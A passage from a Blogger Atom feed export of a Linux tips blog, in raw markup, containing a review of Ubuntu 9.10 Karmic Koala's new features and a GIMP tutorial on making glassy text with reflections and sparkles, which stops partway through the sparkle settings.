href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2563480303468734215'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/05/kde-4.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6314131929955847986</id><published>2010-05-23T10:29:00.000-07:00</published><updated>2010-05-23T10:30:10.027-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;&lt;h2 class="entry-title" style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;Ubuntu 9.10 Unleashed, Amid Windows 7 &amp;amp;  Snow Leopard&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;&lt;span class="entry-author"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="post-ratings-text" id="ratings_2604_text" style="display: none;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="entry-rating"&gt;&lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;It’s  again that time of the year when a new version of Ubuntu is released.  And like clockwork precision, the latest version of Ubuntu 9.10 “Karmic  Koala” is out. This is the 11th release of Ubuntu and the maturity of  the project and distribution is clearly visible. I have been using  Ubuntu for the past 5 releases and I can definitely say that this  release brings in the most number of changes.&amp;nbsp; In this article, we  will take the new version for a test drive and look at how successful  they have been in implementing their plans.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;amp;amp;lt;div class="greet_block"&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_text"&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_image"&amp;amp;amp;gt;&amp;amp;amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;amp;amp;gt;&amp;amp;amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;Hello there! If you are new here, you might want to &amp;amp;amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;amp;amp;gt;&amp;amp;amp;lt;strong&amp;amp;amp;gt;subscribe to the RSS feed&amp;amp;amp;lt;/strong&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt; for updates on this topic.&amp;amp;amp;lt;div style="clear:both"&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_block_powered_by"&amp;amp;amp;gt;&amp;amp;amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;amp;amp;gt;Powered by WP Greet Box&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div style="clear:both"&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&lt;/noscript&gt;&lt;/div&gt;I did this review on a somewhat old system, a Pentium 4 processor  along with 1.5 GB RAM and a Nvidia GeForce 6200 graphics card. The  reason was to see whether Ubuntu was still good enough on a machine with  moderate specifications. This is really important, given the low  specifications of netbooks, which are really important targets for  Linux.&lt;br /&gt;&lt;h4&gt;Installation&lt;/h4&gt;So, let me start the review with its installation process. While I  have been upgrading the distros for the past 4 years, I installed it  right from scratch, this time. I think it is a good idea for everyone to  do a fresh install with this release to get the full benefits of GRUB 2  and the ext4 filesystem. The Ubuntu installer, called Ubiquity, has  always been easy to use and has been getting a little extra polish in  every release. In this release, they added a very useful feature for  newcomers to Linux in the form of a slide show during the installation  process, which tells you the basics of the operating system. The  installer also has the ability to set up an encrypted home directory.  This is a really useful feature to have, in case your laptop, netbook,  etc gets stolen or lost. The installation took me about 20 minutes.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2607" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/xsplash.png"&gt;&lt;img alt="The new Splash Screen from Ubuntu 9.10 Karmic Koala" class="size-large wp-image-2607" height="412" src="http://www.linuxforu.com/wp-content/uploads/2009/10/xsplash-550x412.png" title="xsplash" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;The new Splash Screen from  Ubuntu 9.10 Karmic Koala&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Boot up&lt;/h4&gt;After installation, I rebooted and was welcomed by a beautiful splash  screen. Karmic also uses Upstart to handle the boot process. To have a  quick bootup, the plan was to start X very early in the bootup process,  so that usplash is no longer needed and replace it with xsplash.  Although xsplash is present in Koala Karmic, usplash (the white Ubuntu  logo on black background) is also available till xsplash is ready to be  displayed. Even then, the boot up looks very professional and much  better than the one found in earlier versions. Next loads the GDM, which  has also been made prettier. It is amazing to see how much progress  they have made, in a single cycle, in the boot experience area and  definitely makes one have high hopes on the next version. My boot time  in Jaunty, from power on to desktop being ready to use, was around 2  minutes and in Karmic it is now about 50% lesser! The plan for a 10  second bootup time in the next Ubuntu 10.04 “Lucid Lynx” version is  something I am really excited about.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2610" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/Screenshot.png"&gt;&lt;img alt="Desktop showing new design work" class="size-large wp-image-2610" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/Screenshot-550x440.png" title="Screenshot" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Desktop showing new design work&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;GNOME 2.28 Love&lt;/h4&gt;Then, the desktop finally loads and the first thing I notice is that a  new icon theme being used. They have switched to the humanity icon  scheme, which really adds a lot of beauty and elegance. Some minor  cosmetic changes like making the icons in the notification area gray  tone, like in OSX, do make the OS look pretty. While Mark Shuttleworth  had initially announced that the theme would change from brown to  something else, it hasn’t happened in this release. A lot of new  wallpapers have also been included this time. A particularly interesting  one is a set of space wallpapers, which keeps automatically changing  every 30 minutes. The wallpapers were selected by holding a competition  and selecting the best amongst them. Such efforts certainly help in  encouraging a lot more people to get involved.&lt;br /&gt;Let’s look at some of the changes and updates in the applications,  starting with the new GNOME 2.28. The latest GNOME release did not bring  in too many new features as a lot of developers are in preparation mode  for the GNOME 3.x series. So, mainly, there were a lot of cleanups.  Yet, a few nice features were added like Totem got the ability to  remember the position of video playback, before the application was  closed, last time, and resume playback from that position the next time.  This is a very useful feature for people like me who view many movies,  soaps and videos on their computers. Evince also got the ability to view  and edit existing annotations in the PDF documents. However, creating  new annotations is scheduled for the next release. GNOME Bluetooth was  added to handle bluetooth connections, along with many new features. It  now allows the users to use bluetooth headsets very easily and also  allows connecting with mobile phones and using it to browse the internet  on the computer. GNOME Volume Control also got a lot of nice features  added, like per application volume control, ability to control a  subwoofer and channel fading. Also, as promised, a preview release of  the new GNOME Shell is available for testing and to get a idea of what  GNOME 3 will bring.&lt;br /&gt;Empathy has become Ubuntu’s default IM and VOIP client, this cycle  onwards, and has also added a lot of polish, along with a lot of new  features. It currently supports audio and video chat on Google Talk and  Jabber.&amp;nbsp;  It might be a little buggy for now, though. It also supports nice chat  themes including those available for Adium. Another useful feature is  desktop sharing, which worked nicely for me. The messaging indicator  (the envelope in the notification area), which was introduced in Jaunty  by the Ayatana team has been updated to support many more applications  like Kmail, Gwibber, Empathy, etc in this cycle. Users who are not too  comfortable with Empathy, can easily go back to Pidgin by installing it.&lt;br /&gt;&lt;h4&gt;The Ubuntu Software Center&lt;/h4&gt;&lt;div class="wp-caption aligncenter" id="attachment_2611" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/softwarecentre.png"&gt;&lt;img alt="Ubuntu Software Store" class="size-large wp-image-2611" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/softwarecentre-550x440.png" title="softwarecentre" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Ubuntu Software Store&lt;/div&gt;&lt;/div&gt;This brings us to the point of the new Ubuntu Software Center. Many  people new to Linux often feel that installing software is very  difficult and requires a lot of expertise. To solve this problem, Ubuntu  has taken inspiration from the Apple Store and Android’s market place,  and replaced the old Add/Remove software application with a new Software  Center application. It is designed with simplicity in mind and aims to  make the process of installing new applications easier and much more  fun. Initially, I was somewhat skeptical of how helpful this application  is going to be. But after trying it for some time, I realised this is  one of the best change in a long time. The version included in this  release only has a few basic features. But it will eventually evolve to  include social features like a rating system for the software and the  ability to install the software installed by your friends,etc. The long  term goal of the Software Center is to replace Synaptic Package Manager  and Update Manager also. Though this will take a few more releases to  actually materialize. A somewhat controversial goal is to allow  purchasing of commercial software. While some purists may dislike this  idea, it seems to be a natural move to facilitate the gain of a bigger  market share for the distribution.&lt;br /&gt;In keeping with the buzz around “cloud computing” Canonical (the  company behind Ubuntu) has launched a new Ubuntu One cloud  synchronization service. It has some features similar to Dropbox, which  is popular amongst a lot of Linux users. The benefit of Ubuntu One is  that it is included by default in Ubuntu. This service allows to store  and sync files, contacts and Tomboy notes. The information stored can  also be accessed via the Ubuntu One website. Though native clients for  Windows and Mac OSX will take some more time to develop. There are 2  subscription plans currently available. The free one comes with 2 GB of  storage space and the paid plan costs 10 USD per month and offers 50 GB  of storage space. Now, again while this represents another revenue  channel for Canonical it has brought with it a lot of controversy. As  the service is proprietary on the server side, many people felt that  naming it Ubuntu One goes against the free ideals of Ubuntu. One thing  to note is that the Ubuntu One client is open source and can be easily  packaged for other distributions. It is clear that with ideas like this,  Canonical is trying real hard to make it’s business profitable and no  longer dependent on Mark Shuttleworth’s money.&lt;br /&gt;Another new utility included in this release is the Palimpsest Disk  Utility, also known as the GNOME Disk Utility. It allows for some simple  disk operations like monitoring of the disks and creation, deletion and  management of partitions, etc. In earlier releases, the absence of such  a tool was cited as a big inconvenience. The Computer Janitor, which is  used to remove unused programs and other cruft, has gained a better  interface and some new features. The Network Manager which ships with  this release is the latest 0.8 series version. It brings with it a lot  of improvements for mobile broadband users and a much better interface.  It also allows connecting to mobile phones via bluetooth and using it’s  internet connection. Currently only the PAN bluetooth profile is  supported. So only the latest mobile phones will work. Work is on to get  Bluetooth Dial Up Networking (DUN) support in the next version, so that  many more phones can be used.&lt;br /&gt;In this cycle, Ubuntu had many projects to improve usability and user  experience like the Papercuts project&amp;nbsp;&lt;a href="http://www.linuxforu.com/previews/whats-coming-in-karmic-koala/" title="What's coming in Karmic Koala?"&gt;&lt;/a&gt;. A Papercut is defined as a  usability bug which is easy to fix. I would say that this project has  been pretty successful as it has fixed around 65 of the 100 bugs  targeted. The project wasn’t limited to GNOME bugs and included some KDE  related bugs as well. The project also helped start discussions on  usability problems in some projects. Some of the bugs fixed were as old  as 5 years and were a source of a lot of frustration and annoyance. Of  course the beauty of free software is that these bug fixes will be  available for all the distributions to use.&lt;br /&gt;While most of this article we have talked about the desktop version  of Ubuntu, there were many improvements in it’s other derivatives as  well. Kubuntu seems to be finally stabilizing with a much improved KDE  4.3. The Ubuntu Netbook Remix has also gained a lot of new features and  some fine tuning. It’s selection of default applications has also been  changed to better suit netbook users. A Kubuntu Netbook Remix was also  released for the first time, which KDE fans are going to love. A version  of Ubuntu based on the Moblin stack has also been released.&lt;br /&gt;&lt;h4&gt;Final verdict&lt;/h4&gt;So, with this version does Ubuntu live up to it’s name of one of the  most popular distributions? It certainly does and this version is  certainly worth the upgrade for current Ubuntu users, especially those  plagued by poor graphics drivers for Intel cards in the Jaunty release.  There are 2 things which really excite me with Ubuntu. First is that,  after six months when the next Ubuntu version comes out, which will be  an LTS, things look really good for Ubuntu. Many computer manufacturers  like Dell will use it for their netbooks, laptops and desktops. And when  the cheap ARM chips based net books finally come out, Linux will  certainly be a very good competitor to the proprietary Operating  systems. The second thing is that with this release Canonical has come  up with some innovative plans to profit from Ubuntu. If they actually  are able to make money off the Linux desktop, it will be nothing short  of spectacular!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6314131929955847986?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6314131929955847986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/05/ubuntu-9.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6314131929955847986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6314131929955847986'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/05/ubuntu-9.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-7371046056738736965</id><published>2010-05-22T03:18:00.000-07:00</published><updated>2010-05-22T03:19:41.949-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;&lt;h2 class="entry-title" style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;Learn Image Manipulation &amp;amp; Create a  Glassy Wallpaper on GIMP&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;&lt;span class="entry-author"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="post-ratings-text" id="ratings_2546_text"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="entry-rating"&gt;&lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;Playing  with GIMP is never boring, every time you do some experiment you come  to know of some cool effect. The best part are the filters, which if  applied properly, can produce jaw dropping effects. While experimenting  with GIMP I came to know that how easily I could create a glassy text  with gimp. Although I am not a image maker, or a GIMP expert, I am  trying my best to describe this process. I have broken down this process  in eight sections, each one describing how to make each image effect  component. So let’s start.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;amp;amp;lt;div class="greet_block"&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_text"&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_image"&amp;amp;amp;gt;&amp;amp;amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;amp;amp;gt;&amp;amp;amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;Hello there! If you are new here, you might want to &amp;amp;amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;amp;amp;gt;&amp;amp;amp;lt;strong&amp;amp;amp;gt;subscribe to the RSS feed&amp;amp;amp;lt;/strong&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt; for updates on this topic.&amp;amp;amp;lt;div style="clear:both"&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_block_powered_by"&amp;amp;amp;gt;&amp;amp;amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;amp;amp;gt;Powered by WP Greet Box&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div style="clear:both"&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&lt;/noscript&gt;&lt;/div&gt;&lt;h4&gt;Glass Text&lt;/h4&gt;&lt;ol&gt;&lt;li&gt;Create a new 1280×1024 image (or your best monitor resolution) with a  black background. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2507" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic1.png"&gt;&lt;img alt="Creating the Text layer" class="size-large wp-image-2507" height="305" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic1-550x305.png" title="Creating the Text layer" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Creating the Text layer&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt; Select Text tool, select a big area and type in a text. I have used  Bitwise font, downloaded from Internet.&lt;/li&gt;&lt;li&gt; Change the color of text to white {#ffffff}, text size to fit the  selection and position to justify.&lt;/li&gt;&lt;li&gt; Then right click the text layer and select merge down. This will  remove the text properties and make the text you wrote into just an  image. After this you will not be able to alter the text.&lt;/li&gt;&lt;li&gt; Now apply the below filters with appropriate parameters so that the  effect looks the best for you and looks good in your display. I have  provided the parameters, which I have used, in curly brackets. &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Filters -&amp;gt; distorts -&amp;gt; emboss {Azimuth=236, Elevation=144,  Depth=90} &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2508" style="width: 399px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic2.png"&gt;&lt;img alt="Emboss layer (section)" class="size-full wp-image-2508" height="381" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic2.png" title="Emboss layer (section)" width="389" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Emboss layer (section)&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2509" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic3.png"&gt;&lt;img alt="Emboss layer (full)" class="size-large wp-image-2509" height="96" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic3-550x96.png" title="Emboss layer (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Emboss layer (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Filters -&amp;gt; Blur -&amp;gt; blur&lt;/li&gt;&lt;li&gt;Filters -&amp;gt; Edge Detect -&amp;gt; Neon {Radius=4.78, Amount=0.07} &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2510" style="width: 506px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic4.png"&gt;&lt;img alt="Neon (section)" class="size-full wp-image-2510" height="517" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic4.png" title="Neon (section)" width="496" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Neon (section)&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2511" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic5.png"&gt;&lt;img alt="Neon (full)" class="size-large wp-image-2511" height="100" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic5-550x100.png" title="Neon (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Neon (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Filters -&amp;gt; Enhance -&amp;gt; Sharpern {Sharpness=50}&lt;/li&gt;&lt;li&gt;Filters -&amp;gt; Artistic -&amp;gt; Softglow {Glow Radius=50,  Brightness=0.85, Sharpness=0.90} &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2512" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic6.png"&gt;&lt;img alt="Softglow (full)" class="size-large wp-image-2512" height="85" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic6-550x85.png" title="Softglow (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Softglow (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Select the text portion then Layer -&amp;gt; crop to selection&lt;/li&gt;&lt;li&gt;Color -&amp;gt; Colorify To Alpha -&amp;gt; From:{#000000} &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2513" style="width: 557px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic7.png"&gt;&lt;img alt="Colorify To Alpha (section)" class="size-full wp-image-2513" height="498" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic7.png" title="Colorify To Alpha (section)" width="547" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Colorify To Alpha (section)&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2514" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic8.png"&gt;&lt;img alt="Colorify To Alpha (full)" class="size-large wp-image-2514" height="106" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic8-550x106.png" title="Colorify To Alpha (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Colorify To Alpha (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="wp-caption alignright" id="attachment_2515" style="width: 242px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic9.png"&gt;&lt;img alt="Layers" class="size-full wp-image-2515" height="114" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic9.png" title="Layers" width="232" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Layers&lt;/div&gt;&lt;/div&gt;The first step will emboss the text, next we blur the text, this is  needed for the next step. When Neon edge detecting the sharp color  transitions will get white, in this case the edges would get white.  edges of the text will remain. If this layer was not blurred then the  neon edge detection would result in jagged edged, and bad looking fonts  instead of smooth edges.  The Azimuth will control the white lining of  the texts when applying Neon edge detection. Here you can do some  research to get the white text outline as per your need. Then the layer  is sharpened to compensate the blur. The softglow is applied to make a  glowing effect of the text, so not apply too much of it, even it will  look good when working, at some later time too much soft glow looks very  bad. Then we select the text and crop only the text area. Note  carefully when embossing, the values are very important which actually  set how the text will look. Then apply the colorify to alpha and make  the black background to alpha. And that’s it you get the basic glass  text.&lt;br /&gt;Name this layer “glass_text”.&lt;br /&gt;Click “New Layer” button in the layer window and floodfill it to  black {#000000} , send the new layer to bottom and rename it to  “background” , so that we have the glass texts glowing out of the dark.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Glass Text Reflection&lt;/h4&gt;&lt;ol&gt;&lt;li&gt;Select “glass_text” layer, click the layer duplicate button on the  Layer Window, and send this layer just below the “glass_text”. Name this  duplicated layer “glass_text_reflection”.&lt;/li&gt;&lt;li&gt; Select Flip Tool from tool box, select Flip Type to “Vertical” from  the tool configuration. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2517" style="width: 347px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic10.png"&gt;&lt;img alt="Filpped Layer (section)" class="size-large wp-image-2517 " height="550" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic10-337x550.png" title="Filpped Layer (section)" width="337" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Filpped Layer (section)&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2518" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic11.png"&gt;&lt;img alt="Flipped Layer (full)" class="size-large wp-image-2518 " height="158" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic11-550x158.png" title="Flipped Layer (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Flipped Layer (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;While the “glass_text_reflection” is selected click on that layer,  to flip it vertically.&lt;/li&gt;&lt;li&gt;Select Move Tool, and while Shift is pressed drag the flipped layer  below the original text&lt;/li&gt;&lt;li&gt;Drag down a guide to make a reflection plane reference and place  both the “glass_text” and “glass_text_reflection” equally separated from  the guide. Use the arrow keys for fine movements of the layers.&lt;/li&gt;&lt;li&gt;With the Rectangle Selection tool select an area, such that 40 to 50  percent of the lower part of the “glass_text_reflection” layer is  inside the selection. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2519" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic13.png"&gt;&lt;img alt="Rectangle Select Layer (full)" class="size-large wp-image-2519" height="185" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic13-550x185.png" title="Rectangle Select Layer (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Rectangle Select Layer (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Now feather the selection with a good high value of about 200 to 250  pixels. Select -&amp;gt; Feather {200px}&lt;/li&gt;&lt;li&gt;Press Delete button once to feather delete the section, you can try  hitting the Delete button twice and  see how the effect looks and keep  it if you like. Now the reflection will fade outward. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2520" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic14.png"&gt;&lt;img alt="After Deleting the Feathered Selection" class="size-large wp-image-2520" height="159" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic14-550x159.png" title="After Deleting the Feathered Selection" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;After Deleting the Feathered Selection&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2521" style="width: 242px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic15.png"&gt;&lt;img alt="Layers" class="size-full wp-image-2521" height="114" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic15.png" title="Layers" width="232" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Layers&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h4&gt;Glass Sparkle&lt;/h4&gt;Here we will make the text sparkle in 2 or 3 places of the text. We  will draw the sparkles in the brightest edges of the text. We will make a  small (1pixel) spot on a transparency so that it is on the glass text  font, and then make the spots sparkle.&lt;br /&gt;&lt;ol&gt;&lt;li&gt; Create a new Transparency layer, and name it “glass_sparkle”, and  bring it at the top.&lt;/li&gt;&lt;li&gt; Select the Pencil Tool.&lt;/li&gt;&lt;li&gt; Select the smallest brush {Circle (01)}&lt;/li&gt;&lt;li&gt; Select the foreground color to White {#ffffff}&lt;/li&gt;&lt;li&gt; Select the “glass_sparkle” layer and click on the points only once  where you want the text to sparkle.&lt;/li&gt;&lt;li&gt; Click only a few edges of the text where you want it to sparkle (2  or 3).&lt;/li&gt;&lt;li&gt; Toggle the visibility of the “glass_text” layer to see actually  where you have created the white spots. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2522" style="width: 435px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic16.png"&gt;&lt;img alt="Pencil Spot (section)" class="size-full wp-image-2522" height="483" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic16.png" title="Pencil Spot (section)" width="425" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Pencil Spot (section)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt; Select The dots individually with the Rectangle Selection tool, and  apply Sparkle filter as below to each of the dots individually. For  each dot slightly change the parameters so that the three dots create  different looking sparkles. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2523" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic17.png"&gt;&lt;img alt="Making Spots Sparkling Individually (full)" class="size-large wp-image-2523" height="221" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic17-550x221.png" title="Making Spots Sparkling Individually (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Making Spots Sparkling  Individually (full)&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;b&gt;My initial setting for First Dot:&lt;/b&gt;&lt;br /&gt;Filters -&amp;gt; Light And Shadow -&amp;gt; Sparkle {Luminosity  Threshold=0.001, Flare Intensity=0.50, Spike Length=20, Spike Points=4,  Spike Angle=15, Spike Density=1.0, Transperency=0.0, Random Hue=0.0,  Random Saturation=0.0, Select Natural Color, Uncheck all check 